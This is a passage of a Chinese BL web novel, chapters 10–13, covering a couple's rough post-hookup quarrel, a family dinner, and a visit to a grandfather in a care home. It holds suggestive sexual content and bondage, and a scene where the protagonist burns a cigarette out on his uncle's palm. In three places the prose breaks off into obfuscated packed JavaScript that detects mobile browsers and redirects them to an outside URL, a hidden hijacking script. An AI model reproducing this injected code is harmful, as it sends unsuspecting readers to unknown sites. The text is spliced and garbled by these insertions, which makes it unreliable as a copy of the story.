指尖深深地陷入枕头,郁书青咬牙切齿地回眸:“我杀了你。” “那也不能招呼都不打一声,就用凶器!” 明明脸颊被撞出一小片红肿,又差点被玻璃杯砸脑袋,但徐矿的神色缓和了许多,没有开车时那样冷硬,他只是牢牢地钳制住郁书青的挣扎,同时凑近,几乎贴着对方的耳畔:“你从小……就是这样打架的?” 郁书青被按着脑袋,动不了,声音被闷在枕头里:“……我杀了你。” 指缝间的头发这么软,脾气却又硬又臭,徐矿单手扯下领带,在对方手腕上绕了几圈:“你这么多年,还真没变过。” 最早被外表蛊惑,他还以为郁书青是个乖巧的小甜心,没想到这副温顺的模样只在大人面前出现,门一关,只有他们小孩的时候,郁书青就是块石头,谁也不理。 招惹他了,他还会跑去给大人告状。 并且好胜心特别强。 所以—— 徐矿轻笑一声,抬手,一巴掌拍在了郁书青的屁股上。 “啪!” 清脆的声音响彻房间。 郁书青的身体猛地抖了下,不可置信地回眸。 徐矿干脆盘着腿坐在床上,一把给郁书青拖过来,按在自己的腿上,一手握着已经被绑着的双腕,另只手继续扬起:“说了要跟你好好谈谈,你跑什么?” 又是一声脆响。 这次,郁书青没动,只是深深地垂下头。 他身形漂亮,脖颈也格外地修长,这样姿势低着脑袋,能看到后颈上那一小块突出的骨头,而除了这个地方外,别的皮肤,已经肉眼可见开始泛粉发红。 由于穿的是件宽松卫衣,一闹腾,就往上滑了不少,露出一小截有点薄的腰。 徐矿继续道:“要说,也应该我委屈,是你自己在车上摸我的大腿,还……” 他顿了顿,才不着痕迹地放轻声音:“还亲了我。” 小狗似的,在大马路上就敢凑过去吻他嘴巴。 这能怪徐矿吗? “啪!” “啪啪!” 徐矿特意选的是打屁股,就是因为这个位置极为羞耻,还不会造成对方多大的伤害,讲真,他手上也没用什么力气,掌心是虚虚地拢了那么一下,这样一巴掌拍下去,没多疼,但是声音就很响亮,并且郁书青虽然瘦,但也有锻炼的习惯,身体线条漂亮,摸上去的手感相当好,昨天晚上,他从后面弄的时候,没忍住就—— 等等。 徐矿突然愣住。 昨天晚上,他给人睡了。 做了清理,但似乎因为没有经验,所以郁书青发烧进了医院,刚刚才输完液。 他的视线落在对方的手背上,因为被领带绑着的缘故,看不清上面的针眼,只能感觉到手指蜷得很紧,几乎要把指甲深深地掐进肉里。 徐矿呆滞片刻。 他刚才先是急恼,恨不得要给郁书青一点颜色看看,但是真闹腾起来的时候,又下不去手,就给人抱在腿上打屁股,太爽了,以至于忽略了一件事。 郁书青是不是……还有伤。 他却朝着人家的屁股,连着打了好几个巴掌。 目光下移,腰侧的暧昧清晰可见,是他昨晚没控制好,在胯骨附近留下的痕迹。 徐矿一个哆嗦。 他立马去解领带,心慌,差点又揪成死结,好容易给扯了下来,郁书青却没有任何动静。 “对不起……” 徐矿小心翼翼地伸手,想给人翻过来,可郁书青像是在他腿上生了根,完全不配合。 “我错了,”徐矿放柔声音,“真的很抱歉,我忘记你身体……” 他伸手一摸,郁书青的脸已经湿了。 徐矿:“!” 他连滚带爬地给人扳过来:“对不起!我的错,我真的错了,你想怎么着都行!” 郁书青被放好在床上,可还是用双手捂着脸,肩膀发出细微的抖动,耳尖通红。 徐矿绝望地闭了闭眼。 ——我可真该死啊! 他又是道歉,又是哄人,慌得说话都变成大舌头。 “我真的错了,你别哭了……我带你去医院行吗?” 捂着脸的人,传来一声泣音。 徐矿都快直接跪那了。 “我不闹你了,对不起。” “是我不好。” 他实在不知道该怎么哄,急了,只能学着小时候那样,低头,轻轻地去拱郁书青的颈窝。 以前,只有那么一次,郁书青破天荒向自己道歉,就是这样慢慢地走来,小动物似的用脑袋蹭自己。 “咱俩之前的确认识,不信你问郁爷爷……我是徐矿啊,从小就认识。” 徐矿声音也有些哑了。 “那时候咱们两家离得近,年龄又相仿……所以那时候经常见面,也会一块玩。” 就是谁也不服气谁罢了。 郁书青要强,喜欢掐尖争先,徐矿也毫不相让——其实说来也奇怪,他性子有些散漫,但偏偏在郁书青面前,能铆足了劲儿和他比赛。 这样你追我赶的关系,在大人面前,觉得两个孩子真不错。 郁书青会装,仰头挺胸得像只小天鹅,但私下趁人不注意,就会踩徐矿的脚。 “你好讨厌,我不跟你玩了。” “我也不跟你玩!” 幸好他俩一直没分到同样的班级,以及年龄日渐长大,所以动手的次数也越来越少,徐矿吊儿郎当地拎着书包回家,偶尔,在路上听见别人谈论郁书青。 “装比,老师面前的狗腿子。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12962680|136813||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “听说他爸爸妈妈都不在了,所以啥事都要抢第一,好挣存在感吧?” “哈哈,但他长成那样,存在感已经够够的了……要是他穿个裙子,我还真愿意去摸两把……” 两人压低声音,说的正兴奋,突然被人从后面踹了一脚。 惨叫声中,徐矿把书包扔到一边,捏了下手指骨节。 这件事,郁书青并不知道。 徐矿也没多说什么,因为他也不觉得自己是为郁书青出头,包括他的朋友也知道,俩人虽然从小就认识,但关系就那样。 “……所以不怪你,是我的问题。” 徐矿拱了会儿,见郁书青还是没什么反应,只好手足无措地直起身子:“忘了就忘了呗,我不该太傲慢,去生你的气。” 在郁书青心里,就是个普通的童年玩伴而已。 要怪也怪自己。 他抿了抿嘴:“睡……也就睡了呗,你要是喜欢,多睡几次也没关系。” 天地良心,徐矿这会儿就差伸出脸让郁书青打了,不,要是郁书青愿意打他几巴掌,该多好啊,起码能出出气,总比这样闷声流泪强。 对方终于有了反应。 捂着脸的手略微分开,郁书青从指缝里看着他,声音很哑:“……徐矿?” “对对对!” 徐矿忙不迭地答应:“比你大一岁,男,前几天刚回来,我家里还有咱俩小时候的合照呢。” “所以,”郁书青继续道,“你是和我奶奶联系了,还是我二叔?” 徐矿愣了下。 “难道,他们等会就会出现吗?” 郁书青语速不疾不徐,慢慢地眨着眼睛,徐矿突然有种感觉,就是如果此时,是他用自己的手捂着对方的脸,那么郁书青的睫毛抖动,感觉……可能像是用掌心拢住一只小蝴蝶。 簌簌的痒。 他的喉结快速滑动了下。 “是郁奶奶,”徐矿老老实实地交代,“我约了九点钟的饭局。” 果然—— 郁书青心下了然。 对方能毫不犹豫地给他掳走,直接带进别墅房间,丝毫不怕后面的白可心报警,要么是有恃无恐的悍匪,要么就是,已经提前交代过了自己的家人。 进房间不久,郁书青就断定了,对方是后者。 ……因为这狗比玩意,似乎真的只是想揍他一顿出气。 他几乎都能想象得到,白可心慌慌张张地打开手机,正要报警的时候,奶奶的电话打了进来—— “可心呀,我把地点发你手机上了,等会儿别迟到了。” “什么?不用慌……徐矿已经去接小咪了……没错,我让他去的呀。” 大概还会笑着发来照片,或者徐矿的个人介绍,谨慎如白可心,也一定会仔细地去求证,同时按照查出来的地址杀来这幢别墅—— 看来,他们的确认识。 郁书青的指缝又打开了点:“现在什么时间?” “八点半,”徐矿双手递上手机,“您的。” 刚才他的手机被扔到后座,下车的时候,徐矿居然还能在两人短暂的扭打中,给他的手机捞回来。 郁书青单手捂着脸,另只手接过手机,划开屏幕,快速的浏览了下上面的消息,给白可心发了条语音。 接着,他把手机丢到旁边,胳膊重新搭在脸上:“就这?” 徐矿吞咽了下,半跪下去,小心翼翼地用自己的脸贴住郁书青的手背:“打两下,出出气行吗?” 郁书青没说话,皮肤还有些烫。 徐矿轻轻地蹭着对方,蹭不开,郁书青不肯让他看自己的表情,这会儿都安静了,对峙的焦灼悄然消失,只有略微急促的气息。 和轻微的水声。 因为徐矿在舔郁书青的手。 郁书青不肯把手拿开,他就一点点地舔过去,舌尖顺着指间滑过,碰到了湿-润的睫毛,指缝的空隙终于变大,取而代之的,是温热的潮-湿,明明动作暧昧而色-情,他的神情却好是认真,仿佛是面对世界上仅有的珍宝,不敢亵渎—— 却无法再往前。 郁书青的食指,点在了徐矿的牙齿上。 “别动。” 他语气有些恼:“弄的都是口水。” 下一秒,徐矿偏过头,反而含-住了那根修长的手指。 “对不起,”他呼吸有些重,“我给您舔干净。” 11.第 11 章 温热的口腔包裹着指尖,带来微妙的战栗。 郁书青身体往后,懒懒地靠在床头,然后伸出脚,踩在男人肩膀上:“我让你舔了吗?” 双手终于从脸上拿开,露出清澈漂亮的眼。 他若有所思地看着对方,语速很慢:“……徐矿。” 不行,脑海里还是一片空白,没有任何印象。 郁书青抽回手指,反手把潮意在徐矿脸上擦了擦:“是哪个字?” “采矿、矿泉水的矿。” 郁书青拧着眉:“为什么叫这个名字,你们家有矿吗?” 徐矿:“……” 至此,他终于彻底相信,郁书青是完完全全地把自己忘了。 没事哒! 反正曾经关系不好,又十年没有见面联系,忘记一个童年玩伴,是多么正常的一件事情呀。 真的没事哒! 他还保持着这个半跪的姿势,就高度而言,斜靠着的郁书青,鼻尖正好对着他喉结的位置,所以低头看过去,能清晰地看到对方长而翘的睫毛,以及—— 被柔软卫衣遮掩下的,胸口的微肿。 徐矿不大自然地移开目光:“差不多。” 郁书青的脚还在徐矿肩膀上踩着,刚才被摔到床上的时候,鞋子也在挣扎中甩掉,这会儿稍微用了点力,给人往外推开:“这里到饭店,多远?” 徐矿顿了下:“十分钟。” “哦,”郁书青的脚尖往下,沿着男人的身体线条,一寸寸地下移,一点点地加着力气,在肌肉的逐渐紧绷中,停留在了徐矿小腹下方的位置。 他笑了笑,笑得很迷人。 徐矿心里一咯噔。 看到郁书青的这个表情,他就知道自己要完蛋,果然,郁书青轻飘飘地补上了后半句话。 “那等于说,我有差不多十分钟的时间,对吧……你刚才,打了我五巴掌。” 郁书青不笑了。 他冷着一张脸,冲徐矿勾了勾手:“过来。” - 白可心压根坐不住。 她忧心忡忡地站在一片竹林旁,一会儿盯手机,一会儿抬头看前方——这里是处中式的私房菜馆,特点是清净和高端,里面整的全是古朴的园林建筑,主打一个仙气飘飘。 就是太安静了,静得她心发慌。 哪儿有请老人吃饭,定在晚上九点钟的! 接到郁老太太电话时,白可心都快急疯了,也压根不敢相信对方的话,直到听见郁书青的语音,说让她放宽心,按时到场即可。 白可心一脚油门转弯,早早地到饭店候着了。 “放心,他俩从小就是朋友,关系很好的。” 呵,好得都拐到床上去了。 白可心踮着脚尖,使劲儿往外看,终于听到了动静—— “呦,这不是我们可心妹妹吗?” 是浑厚的男中音,尾调上扬。 很好。 白可心闭了闭眼睛,悬着的心轻轻死了。 她深吸一口气,快步上前,脸上挤出一个微笑:“奶奶,二叔,你们好呀。” 鹅卵石小道上,一个西装革履的男人搀扶着位老太太朝这里走来,没有司机或者助理的陪同,也不让服务员引路,乍一看,还真有母慈子孝的味道。 只是男人的手臂抬得高,满头银发的老太太不得不半倚在上面,同时加快脚步,才能勉强跟上对方。 白可心扶住对方的另一条胳膊:“奶奶,好久不见您。” “是啊,” 郁雪玲笑着点头,把手从儿子郁锋那里抽过来,放在白可心的手背上:“我都想你了。” “以后我多多去看您!” 白可心乖巧地搀扶着对方:“我还想着这么晚了,您要睡了呢。” “睡不着啊,”郁雪玲叹了口气,“人年龄大了,躺在床上,翻来覆去地就睡不着,有时候真想回到农村老家去,听着鸡在外面打鸣,或者蛐蛐叫的声音,反而能睡好呢。” 郁锋在旁边插话:“我不是给您建了个农家乐嘛,两天不到,您就受不了。” 说话间,三人已经进房间坐下,屋里也是中式装修,进门就是个花里胡哨的雕花屏风,白可心看不明白上面写的是什么字,可能是心乱,也可能是这饭店太风雅,点了灯笼燃着香,比院子里还他妈的仙气飘飘,搞得白可心都怀疑,等会端上来的别是啥贡品。 呸呸呸。 白可心稳住心神,笑意盈盈地端茶倒水。 不想那些晦气的话。 她思绪太乱,那辆卡宴毫无预料地开走时,她吓得差点尖叫,谈崩了,绑架,亦或是对方看上了郁书青打算再来一次霸王硬上弓?多种猜测涌上心头,白可心踩下油门就追,咬牙切齿地想等撵上了老娘扒他一层皮。 结果皮扒不了,自个儿等会还得跟人家吃饭。 开心果倒是在扒,郁雪玲现在贪嘴,跟小孩似的,爱吃这种小玩意儿。 “你做的那些农家乐,跟我们小时候不一样,”她很好脾气地笑着,就是年龄太大了,眼睛也跟着老眼昏花,总觉得白可心剥出来的开心果大得不像话,“怎么跟核桃似的,这是转基因的吗,现在很多东西都是打了激素,不能吃,等会可别让小咪吃这个哦。” “奶奶,”白可心背过手,给她看自己美甲上镶的小珍珠,“是被这对比衬的了,哪儿有那么大呀,您放心。” 郁雪玲“哦”了一声,笑眯眯地说:“这指甲真好看呐。” “他们怎么还没到?” 郁锋呷了口茶,有些不耐烦的样子:“不是说九点钟,现在都几点了。” “还有五分钟,应该快了,”白可心拿起手机,“不行我去打个电话……” 上苍仿佛知晓人意,话音刚落,就传来了动静。 挂在长廊上的灯笼莫不是纸糊的,被开门的风刮得直晃,打下来的灯光很柔和,郁锋却活像见鬼,脸颊上的肌肉崩着,牙关也紧紧咬住。 “奶奶,二叔。” 郁书青从屏风后面出现,笑得很甜:“对不起,我来晚了。” “哎呀,”郁雪玲还在吃开心果,“不着急的,就是咱说说话。” 与此同时,一个高大的男人跟着出现,为郁书青拉开凳子—— 郁书青都没回头看,挨着郁雪玲,直接坐下了。 “是小矿吗,”郁雪玲揉了揉眼睛:“我不爱戴那种老花镜,都看不清你了。” 徐矿弯下腰,亲热地把老太太的手放在自己脸上:“奶奶,您摸摸看,我是不是又变帅了?” 从他进来的那刻,白可心就在观察这个男人,从随性不羁的狼尾到英俊的眉眼,价值不菲的衬衫和低调的袖扣,再到漂亮的肌肉线条,长得都有些夸张的腿,终于收回目光,落在郁书青的脸上。 别说,她哥的一夜情对象,长得还挺牛比。 就是脸颊那里稍微有些红肿,似乎碰到了什么。 几番寒暄,纷纷落座,郁书青坐在奶奶和徐矿中间,正对着的就是他二叔郁锋,自从他俩在屋里出现,对方就一直没有说话,只顾着喝茶,眼珠子都快掉进去了。 近几年,郁雪玲的话变得多,也总是回忆过去:“小咪啊,你俩小时候关系很好的,还记得吗?” 郁书青微笑道:“当然。” 同时在桌底下,轻轻地踢开对方蹭过来的脚尖。 徐矿不放弃,继续做着口型:看吧,我就说! 他们曾经是超级要好的朋友呢! 几道菜上来,房间里也终于有了烟火味儿,徐矿为郁雪玲夹菜后,放下公筷:“郁爷爷现在怎么样了?” 这个话题,还是不可避免地被提到。 郁雪玲顿了顿,那张温和的、顺从了一辈子的脸上,出现了迷茫与哀伤:“不太好。” 她原本是个孤儿,在那个年代的机缘巧合下,被郁家收养,成了郁青松没有血缘关系的小妹妹,从童年到少女时期,她从未亲眼见过这个所谓的大哥,只知道对方英俊非凡,手腕了得,所以在远渡重洋的郁青松回来当天,十七岁的郁雪玲,挤在了众人的最前方。 跑得太快,又太鲁莽,一下子撞到了男人的怀里。 一见倾心。 他们在一起颇费周折,可是,郁青松给她保护得非常好,从来没有让她受过丝毫的伤害,风风雨雨地携手走来,以至于到了七十多岁,郁雪玲的眼神,还有着少女般的懵懂。 可她的大哥,却不能再庇护自己。 “现在除了我,已经不太能认得人了,”郁雪玲拿出手帕拭泪,“饭也吃不下去,那么高的一个人,现在瘦得厉害……” 徐矿低头:“抱歉。” 郁雪玲叹了口气,冲着安抚自己的郁书青笑了笑:“没关系,现在有个大师说,只要我们家小咪结婚,爷爷身体就能好起来。” 徐矿单手撑着脑袋:“……结婚?” 直到这时,郁锋才终于开口:“你这孩子也该懂点事,对于老祖宗的东西,宁可信其有,不可信其无。” “是啊,”郁雪玲皱着眉头,“我听你二叔说,昨晚特意给你介绍相亲,你却不搭理人家姑娘,这怎么可以呢?要有绅士风度呀。” 郁书青笑笑:“奶奶,您别着急。” “我怎么不急呢,”郁雪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12976864|136813||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 玲握着郁书青的手,“你又不是不知道,这两年什么法子都试了,可你爷爷还是……小咪啊,爷爷肯定很想看到你成家的。” 郁书青不说话,就在那儿笑。 到最后,还是郁雪玲结束了这个话题。 “算了,”她接过白可心递来的汤,“今晚是给小矿的接风宴,孩子刚回国,特意跑来听我这个老婆子絮叨。” “哪儿的话,”徐矿立马接上,“我妈妈过俩月也回来,说第一件事就是来看您呢。” 一顿饭吃的清净,也热闹,老人年龄大了容易寂寞,总想见点以前熟悉的人,看着曾经在膝下打闹的小不点,如今也长得高大英俊,总是难免回忆当年。 “我和你爷爷结婚时,还没你大呢。” 夏天的夜很冷,郁雪玲身上盖了件厚厚的披肩:“小咪,奶奶拜托你,一定要上点心,抓紧好不好?” 郁书青沉默了下,还是点了点头:“好的。” 他小心地给老人扶上车:“对了,奶奶您先在车上歇会,我和二叔说两句话。” 郁锋已经拉开副驾驶的门,身形不易察觉地顿了下,随即转过身:“有什么话,就在这儿说吧。” “我手机落房间里了,”郁书青笑眯眯的,“咱边走边说吧?” 郁锋看了旁边一眼,白可心拎着包站在后面,徐矿饶有兴趣地抱着肩,他一咬牙:“行。” 房间里,桌子已经完全收拾好了,郁书青大喇喇地坐在刚才郁锋的位置上,掏出一支细烟,夹在指间。 郁锋不知道,郁书青竟然会当着自己的面抽烟,在他的印象里,这个侄子死板得跟机器人似的,香烟,红酒,女人,一概不碰,把全部的心思都投在工作上—— “嚓。” 火轮摩擦,淡蓝色的火苗蹿得很高,郁书青点燃了那根烟,没有放在嘴里,而是定定地看向郁锋:“你是真的想死啊?” 郁锋傻眼,以为自己听错:“什么?” “关起门自家人内斗有什么好处,”郁书青的神情有种淡淡的厌烦,“我早就跟你讲过,别折腾,别为了外人的追捧就不知道自己几斤几两。” 一小截烟灰落在地面。 郁锋脸色苍白,咆哮道:“混账东西,怎么跟长辈说话的!” 郁书青冷冷地看着他:“你身为长辈,怎么对待我的?” 香烟缭绕中,白可心反手关好门,面无表情地递上一摞文件,而徐矿也在屋里靠墙站着,一脸轻松地看热闹。 郁锋的嘴唇抖了两下,还是接过,快速地浏览了几秒,紧接着,他不可置信地抬起头:“你……” “我?” 郁书青嗤笑一声:“你捅的篓子的我收拾够了,我不介意养点什么亲戚,关键是你不仅害人,还在扯公司的后腿。” 他站起来,一步步地走到郁锋面前:“甚至在奶奶身上打歪主意。” 郁锋的耳畔嗡嗡作响,触电似的扔掉手上的东西,纸张四散开,夹杂着几张清晰的照片—— 是他在赌场中的模样。 给郁书青下绊子,除了不服气小辈过于锋芒毕露外,更重要的原因就是,郁锋很缺钱。 他们家是做实体的,所以欠的并没有多少钱的,只要那个项目能顺利进行,他就能重新拥有一切。 “滋啦——” 钻心般的痛楚打断了思绪,郁锋呆呆地低头,看向自己的手。 郁书青把烟,按灭在了他的掌心。 徐矿挑起眉梢,轻轻地“哇”了一声。 惨叫和咒骂白可心懒得听,反正两秒钟不到的功夫,对方已经彻底噤声,怪不得让徐矿也跟着进来,轻而易举地控制住了挣扎的郁锋。 她守在门口,盘算着接下来的安排,同时视线落在了屏风上面。 白可心终于认出了上面的字。 天作之合。 她“噗嗤”地笑出声,对这家饭店的附庸风雅有了新的认识,因为这个成语,是用来称颂婚姻美满,并不合适放在餐桌旁。 回去路上,还是没忍住说了。 当然,还有个原因就是车里的气氛安静到诡异。 郁书青和徐矿都喝了点酒,不多,但也没法儿开车,白可心转动方向盘:“喂,你们二位,起码给我个反应啊?” 她好歹也是中文系毕业的! “哥?” 好吧,郁书青已经闭上眼睛装睡了,可恶! 而另一位也不知道在想什么,一脸深沉地盯着窗外。 白可心冷笑一声。 她踩下刹车,笑眯眯地从后视镜里看向徐矿,故意拉长声音。 “嫂子哥?” 12.第 12 章 话音落下,两人终于有了动静。 睡觉的缓缓掀开眼皮,凝视窗外的则慢动作一般地回头,同时被两个大帅哥这样注视,白可心还真有那么点心理压力。 她清了清嗓子:“咳,到了。” 刚才到宴会上,两位都陪着郁奶奶喝了点——其实郁书青只算润了下嘴唇,因为徐矿用手盖在他的杯子上了。 眼神交错的刹那,同时又撇过头去。 郁书青的病还没彻底好,明天不用输液,但消肿止痛的药还是得吃,这会儿也不逞强,老老实实地换了茶水。 所以就被徐矿赖上了。 车呢,喝酒不能开啊,司机呢,联系不上了呀。 说完就死皮赖脸地往越野上一坐,说拜托小咪,能不能送他回家。 “你也看到了啊,我一个人住,屋里连个会喘气的都没。” 郁书青坐在副驾驶上,拉下安全带,没搭理对方。 也算默认了,可一路上,气氛都安静而诡异。 终于,这一声“嫂子哥”打破了宁静。 白可心实在没忍住,转身看过来:“你们都在想什么呢,一路也不说话。” 郁书青:“在思考啊。” 他真的和徐矿很要好吗? 那自己的所作所为,似乎过分了些。 徐矿则叹了口气:“我是因为疼,疼得说不出话。” 讲完,他就凑近郁书青的耳畔,不知道说了一句什么,郁书青低头,轻轻地笑了一下。 到了地方,徐矿下了车,车窗缓缓落下。 郁书青只露出点眉眼:“所以,你现在什么愧疚感都没了?” “没错,”徐矿单手撑着车门,姿态有些散漫,“下次见你,我还打。” 郁书青的嘴角还带着笑:“你确定,我们之前是好朋友?” 徐矿毫不犹豫:“当然。” “那么对待好朋友,你忍心下狠手吗?” 郁书青的声线很好听,干净,透亮,再加上他平日里讲话都不疾不徐,所以落在耳朵里,就是春风细雨般的享受,连着被质问三条,也不会有任何的压迫感。 徐矿眯着眼看看他:“那你就忍心对我下狠手?” 都给人送到地了,还不走,俩人在那打哑谜,白可心一巴掌打在自己胳膊上,然后面无表情地抽出湿巾。 有病。 隔着个车窗聊天,净搁那喂蚊子是不? 她都怀疑是自己那一嗓子嫂子哥,给徐矿叫爽了,明明也是位青年才俊,这会儿却跟什么似的—— 白可心开始沉思。 这不就跟她上大学时,寝室楼下卿卿我我的臭情侣们一样吗? 每次看到这样的情形,她都很痛苦。 拜托,亲嘴去别的地方亲好吗! 她真的不想在啵嘴声中,穿过人群,艰难地回到宿舍。 毕竟白可心很喜欢自己的寝室楼,真的怕他们直接给孩子生在这儿了。 不过,凭她对郁书青的了解,还是很难想象对方会陷入爱情。 正琢磨着呢,后面就传来“咚”的一声,白可心还没反应过来,郁书青已经关好车窗,冲她露出和煦的微笑:“走吧。” 白可心莫名一个哆嗦,直接踩下油门,愣是没敢回头看一眼徐矿。 “哥,刚才怎么了?” 郁书青垂着睫毛:“没什么。” ——不过是一点小小的惩罚。 “你们到底啥情况啊?” ——睡过,并且感觉不错,但抛开这张脸的话郁书青还真的不太喜欢对方,轻佻,强硬,又太过小心眼。 算了,郁书青沉默了下。 ……他抛不开。 “就是不小心发生了关系,”郁书青直截了当地开口,“没什么。” 白可心“哦”了一声,不问了。 她哥说没什么,那就是真的没什么,毕竟对于郁书青而言,在你情我愿的前提下,这并不是肮脏的事,他不会为此背上任何心理负担,依然会毫无芥蒂地面对徐矿。 郁书青,是一个不内耗的人。 所以在被打了屁股后,他也果断地在对方身体的某个部位,做了恶劣的报复。 “特意打了蝴蝶结,喜欢吗?” 郁书青后退半步,满意地欣赏面前的景象,那条粉色的丝带牢牢地系在徐矿身上,并随着呼吸的加速,慢慢地勒得更紧。 “有感觉了?” 郁书青饶有兴趣地看着对方:“变态。” “你真的,”徐矿深深地呼出一口气,闭上眼睛,“……很小心眼。” 郁书青挑起眉毛:“真巧,你也是。” “需要多久才可以摘掉?” “起码三个小时。” 徐矿已经穿回衣服了,低头系衬衫的纽扣 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12986174|136813||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“您这是想让我死。” “只要您不随时随地发-情,就不会出现什么问题。” 明明剑拔弩张,两人这会互相还挺客气。 他走到徐矿面前,站定了,很温柔地抬起胳膊,浅灰色的领带在指间翻折,妥帖,细致,甚至还帮忙捋了下衬衫,彼此距离太近,简直像工作日的清晨,丈夫即将在爱人脸上落下一个离别吻。 只是爱人不会垂着睫毛,不看对方的脸,而是认真端详衬衫下方的肌肉,甚至掌心紧贴,似乎在评估手感。 徐矿兀的抓住郁书青的手:“你在占我便宜。” “对啊,”郁书青大方承认,“你刚才,不也想占我的吗?” 当时,皮带被解开,金属拉链缓缓拉下的时候,徐矿的喉结明显地滚动了下,可他似乎又很矛盾,忍不住地盯着郁书青唇上的小痣,目光幽深。 “其实,”徐矿轻飘飘地开口,“我认为自己是直的。” 郁书青手上动作没变:“那可太好了。” 所以,当这条自己亲手找出来的粉色缎带,被仔细地系上时候,徐矿呼吸都要暂停。 他以为,郁书青要求自己找出“能绑点东西的绳子,丝带也行”是为了一些快乐的事,虽然徐矿内心不解,潜意识也在困惑,但他不得不承认,自己似乎在期待着某种奖励。 “别妄想了,”郁书青干脆利落地洗手,“我劝你清心寡欲一些,这样还能少受点罪。” 徐矿这顿饭,的确吃的都是下火的菜。 唯一感觉痛的时候,是看到郁书青把烟头按灭在亲叔叔的掌心。 他也觉得自己蛮神经的。 怎么能给自己看得兴奋了呢? 想想还是郁书青的错。 至于最后离开时,两人隔着没完全降下的车窗对峙。 “小时候,咱俩关系特别好,你天天说我是你最好的朋友。” “真的吗,我不信。” 天色已经很晚了,郁书青在车内坐着,能感觉到对方的睫毛上,似乎都笼罩了点薄薄的冷意。 徐矿笑了一下:“假的。” “嗯,”郁书青点头,“那再好不过。” 一点很淡的酒气,被风吹散了。 徐矿看着他:“那我们就扯平,以后也不用再见了。” 郁书青继续点头,又重复了一遍。 “嗯,那再好不过。” 13.第 13 章 郁书青这次发烧,虽然来势汹汹直接给他干倒,但是来得快去得快,输液两天,基本已经好得差不多。 除此之外,躺医院的时候他也没闲着。 光给烟头摁灭在郁锋手里哪儿够呐,郁书青在这方面还蛮损,多亏了这张脸,别人都以为他宽容大度,是光风霁月的青年才俊,其实他特讨厌吃亏,只要是被坑了一次,一定得给补回来,不然觉都睡不踏实。 可惜的是郁锋的生意没彻底摘出去,和自家的盘根错节,整人的时候也不利索,没过瘾,郁书青闷闷不乐地窝在副驾驶上,扭着头看窗外,没吭声。 前两天那姑娘也查出来身份了,叫闫妍,是郁锋他老婆家的外甥女,小姑娘才大学毕业,清清白白好人家出身,想着亲戚能帮忙介绍个工作呢,谁曾想遇见这事。 郁锋他心思歹毒,若是真成了呢,这婚就结定了,要是没成——反正俩人都锁一屋了,孤男寡女的,郁书青甭想赖账,并且这会儿,郁书青又听了个新消息。 那就是人家小姑娘是有男朋友的。 “但家里不同意啊,”白可心转动方向盘,“逼着俩人分手,她就从家里跑出来了。” 郁书青胳膊肘搭在车窗那,这两天输液时间长,总觉着浑身都僵得慌,就一点点地揉着自己手腕:“知道了。” 白可心也没再说什么,这事他们管不了,也没法儿管,于是换了话题:“去看看爷爷?” “嗯。” 车辆汇入车水马龙,周围是耸立的高楼大厦,这座城市恍若巨型的钢铁怪兽,在无声的沉闷中吞噬穿梭的车流。 到达疗养院的时间,是在半个小时后。 郁书青踏入连绵绿荫,冲迎着的工作人员微笑示意。 院长已经在楼下等着了,腿边还有几只抚慰犬,正绕着她蹭来蹭去。 “刘老师,”郁书青主动打招呼,“您好。” “小郁来啦。” 院长刘芳笑吟吟地颔首:“老先生正在后院晒太阳呢,这会儿刚吃过午饭。” 说着,她就带着郁书青往前走去,这是处私人的高级疗养院,开辟的有农场和溪流,像是无人知晓的世外桃源一般,白可心每次来这里,都感觉呼吸被净化,整个人都跟着宁静惬意。 后院湖畔旁,几个人正围在一块儿看天鹅,中间簇着个坐轮椅的老头,那就是郁书青的爷爷,郁为民了。 自从老爷子病了后,情况是一天不如一天,先是手抖,接着就是忘事,再然后就是卧床不起。 “还是喜欢看天鹅,怎么着都看不够啊。” 郁书青蹲在轮椅旁边,摸了摸郁为民的手:“爷爷,我来看您了。” 虽然有阳光,但是爷爷的手还是很凉,曾经的钢筋铁骨变得松松垮垮,感觉里面的血肉已被岁月消磨殆尽,仅剩下一层布着斑点的皮。 郁书青只觉得亲切。 “啊……” 郁为民低头笑笑,没说话。 爷爷毕竟年龄大了,认不出他了。 “老太太昨天刚过来,”工作人员悄声道,“又哭了一场。” 郁书青叹口气。 奶奶生性胆怯,又在爷爷的庇护下活了一辈子,自从爷爷病倒后,她几乎日夜以泪洗面,生生给自己也哭得住院,家里人没办法,好说歹说才给哄好,老两口在一起生活了这么多年,几乎就没有分床过,可郁为民的情况又没法儿让郁雪玲守着,在医生的建议下,还是住进了疗养院—— 对两个老人都好。 不然晚上,糊涂了的郁为民,还惦记着妻子要不要起夜,摸索着要抱她下床。 在这里,起码有专业人员的二十四小时看护,而郁为民,也明白自个儿现在病了,要好好吃药,才能不让妻子担心。 